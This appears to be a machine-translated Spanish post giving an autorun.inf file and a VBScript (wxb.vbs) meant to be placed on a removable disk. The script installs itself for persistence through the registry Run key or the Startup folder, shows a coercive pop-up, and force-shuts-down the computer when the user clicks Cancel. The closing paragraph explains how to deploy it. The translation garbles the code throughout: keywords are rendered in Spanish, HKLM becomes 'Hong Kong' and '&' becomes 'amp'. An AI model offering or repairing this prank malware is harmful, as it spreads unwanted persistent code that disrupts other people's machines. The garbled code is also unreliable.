Código fuente del subprograma universitario
El contenido es
[Autorun]
ShellExecute=wxb.vbs
Cree un nuevo archivo wxb.vbs.
El contenido es
Dim fs, dirwin, c, Wll, str, strr, r
Set fs = CreateObject("Script. Objeto del sistema de archivos" )
Establezca dirwin = fs. GetSpecialFolder(1)
Establecer Wll = WScript. CreateObject("WScript. Shell")
Sea c = fs. GetFile(WScript. Nombre completo del script)
str = "Hong Kong" & "LM\SOFT" & " WARE\Micr " & "osoft\Win". " dows \ Curren " amp" tVersion \ R " amp" un\wxb "
Si (el archivo fs. existe (dirwin amp " \wxb.vbs ")) entonces
llame Show_And_Do("reg ")
elseif (fs.file existe(" C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs ")) entonces
Llamar a Show_And_Do("Inicio")
Otros
Continuar con el siguiente paso si ocurre un error
strr= " "
Wll. RegWrite str, " C:\WINDOWS\system32\wxb.vbs ", " REG_SZ "
strr=Wll. return (cadena)
Si strr=" "entonces
c.copy(" C:\Documentos y configuraciones\Todos los usuarios\Menú Inicio\Programas\Inicio\wxb.VBS " )
Otros
c. Copiar (Dewen amp" \wxb.vbs ")
Terminará si...
Finalizará si...
Subpantalla y elementos de tareas pendientes
Dim f
R = MsgBox("Advertencia: estás utilizando el movimiento wavelet sin permiso ¡Equipo!" ampChr(13)Chr(10) "Está bien -> La próxima vez le pediré permiso a Xiao Bo primero"; Chr(10) "Cancelar -> No me preocupo por él", 4145, "Ejemplo de MsgBox")
Si r = 1, entonces
Si s="start", entonces
Sea f = fs. GetFile(" C:\Documentos y configuraciones\Todos los usuarios\Menú Inicio\Programas\Inicio\wxb . VBS ")
f.delete()
elseif s="reg " Entonces
Wll. RegDelete string
Sea f = fs.
GetFile(dirwin amp; " \wxb.vbs ")
f.Delete()
Terminará si...
Otro
wll.run "Shutdown.exe -s -f -t 0 "
Terminará si...
Finalizar conector
Lo anterior dos archivos se colocan al mismo tiempo en el directorio raíz del disco (el disco también se puede mover). Cuando abre el disco, aparece un cuadro de diálogo solicitando selecciones. Puede cambiar la wavelet en el código por su propio nombre.